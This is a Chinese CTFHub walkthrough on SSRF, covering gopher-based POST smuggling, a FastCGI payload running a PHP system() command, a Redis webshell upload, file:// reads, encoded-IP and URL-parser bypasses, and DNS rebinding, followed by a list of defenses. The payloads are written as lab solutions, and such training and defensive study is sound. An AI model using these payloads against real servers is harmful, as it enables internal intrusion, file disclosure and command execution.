CTFHub技能树通关教程——SSRF漏洞原理攻击与防御(二)(上传文件,FastCGI,Redis协议,URL Bypass)
字数 1156 2025-08-19 12:41:24

SSRF漏洞原理、攻击与防御高级教程

1. SSRF基础概念

SSRF (Server-Side Request Forgery) 服务端请求伪造,是一种由攻击者构造请求,由服务端发起请求的安全漏洞。攻击者可以利用该漏洞绕过访问限制,访问内部系统资源或发起恶意请求。

2. 文件上传利用

2.1 题目分析

  • 目标:上传文件到内网的flag.php
  • 限制:无提交按钮,仅能通过127.0.0.1访问

2.2 解决方案

  1. 手动添加提交按钮

    <button>Submit</button>
    
  2. 查看源码
    使用file协议读取flag.php源码:

    file:///var/www/html/flag.php
    
  3. 源码分析

    <?php
    error_reporting(0);
    // 限制仅允许127.0.0.1访问
    if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
        echo "Just View From 127.0.0.1";
        return;
    }
    // 检查上传文件
    if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){
        echo getenv("CTFHUB");
        exit;
    }
    ?>
    
  4. 构造POST请求
    使用Gopher协议构造POST请求,绕过IP限制:

    gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0D%0AHost:%20127.0.0.1%0D%0A...
    

3. FastCGI协议攻击

3.1 FastCGI简介

FastCGI是一种通信协议,用于在Web服务器和应用程序间传输数据。

3.2 攻击步骤

  1. 使用Gopherus工具

    git clone https://github.com/tarunkant/Gopherus.git
    python2 Gopherus.py
    
  2. 构造Payload

    gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWARE...
    
  3. 执行命令
    在Payload中包含要执行的命令:

    <?php system('cat /f*');die('-----Made-by-SpyD3r-----%0A');?>
    

4. Redis协议攻击

4.1 攻击流程

  1. 使用Gopherus生成Payload

    gopher://127.0.0.1:6379/_...
    
  2. 上传Webshell
    通过Redis协议上传PHP Webshell。

  3. 查找flag

    find / -name flag*
    cat /path/to/flag
    

5. URL Bypass技术

5.1 常见绕过方法

  1. HTTP基本认证绕过

    http://notfound.ctfhub.com@127.0.0.1/flag.php
    
  2. 特殊字符绕过

    • @符号:http://www.aaaa.com@www.xxx.com
    • ?号:http://www.aaaa.com?www.xxx.com
    • #号:http://www.aaaa.com#www.xxx.com
    • 斜杠:http://www.aaaa.com/www.xxx.com

5.2 数字IP绕过

当127.0.0.1被过滤时:

  • 使用localhost
  • 十六进制:0x7f000001
  • 八进制:0177.000.000.001
  • 十进制:2130706433

6. 302跳转Bypass

6.1 原理

利用服务器端跳转绕过SSRF限制。

6.2 实现方式

  1. 使用localhost

    http://localhost/flag.php
    
  2. DNS重绑定

    • 使用工具:https://lock.cmpxchg8b.com/rebinder.html
    • 构造Payload:
      ?url=7f000001.7f000002.rbndr.us/flag.php
      

7. 防御措施

  1. 输入验证

    • 严格校验用户输入的URL
    • 禁止内网IP和特殊协议
  2. 白名单机制

    • 仅允许访问特定的域名和IP
  3. 协议限制

    • 禁用危险的协议如gopher://, file://等
  4. 错误处理

    • 不返回详细的错误信息
  5. 网络隔离

    • 限制服务器对外请求的能力

8. 总结

SSRF漏洞危害严重,可以导致内网渗透、敏感信息泄露等风险。防御SSRF需要从多个层面进行防护,包括输入验证、协议限制、网络隔离等。理解各种绕过技术有助于更好地防御此类漏洞。

SSRF漏洞原理、攻击与防御高级教程 1. SSRF基础概念 SSRF (Server-Side Request Forgery) 服务端请求伪造,是一种由攻击者构造请求,由服务端发起请求的安全漏洞。攻击者可以利用该漏洞绕过访问限制,访问内部系统资源或发起恶意请求。 2. 文件上传利用 2.1 题目分析 目标:上传文件到内网的flag.php 限制:无提交按钮,仅能通过127.0.0.1访问 2.2 解决方案 手动添加提交按钮 : 查看源码 : 使用file协议读取flag.php源码: 源码分析 : 构造POST请求 : 使用Gopher协议构造POST请求,绕过IP限制: 3. FastCGI协议攻击 3.1 FastCGI简介 FastCGI是一种通信协议,用于在Web服务器和应用程序间传输数据。 3.2 攻击步骤 使用Gopherus工具 : 构造Payload : 执行命令 : 在Payload中包含要执行的命令: 4. Redis协议攻击 4.1 攻击流程 使用Gopherus生成Payload : 上传Webshell : 通过Redis协议上传PHP Webshell。 查找flag : 5. URL Bypass技术 5.1 常见绕过方法 HTTP基本认证绕过 : 特殊字符绕过 : @符号: http://www.aaaa.com@www.xxx.com ?号: http://www.aaaa.com?www.xxx.com #号: http://www.aaaa.com#www.xxx.com 斜杠: http://www.aaaa.com/www.xxx.com 5.2 数字IP绕过 当127.0.0.1被过滤时: 使用localhost 十六进制: 0x7f000001 八进制: 0177.000.000.001 十进制: 2130706433 6. 302跳转Bypass 6.1 原理 利用服务器端跳转绕过SSRF限制。 6.2 实现方式 使用localhost : DNS重绑定 : 使用工具:https://lock.cmpxchg8b.com/rebinder.html 构造Payload: 7. 防御措施 输入验证 : 严格校验用户输入的URL 禁止内网IP和特殊协议 白名单机制 : 仅允许访问特定的域名和IP 协议限制 : 禁用危险的协议如gopher://, file://等 错误处理 : 不返回详细的错误信息 网络隔离 : 限制服务器对外请求的能力 8. 总结 SSRF漏洞危害严重,可以导致内网渗透、敏感信息泄露等风险。防御SSRF需要从多个层面进行防护,包括输入验证、协议限制、网络隔离等。理解各种绕过技术有助于更好地防御此类漏洞。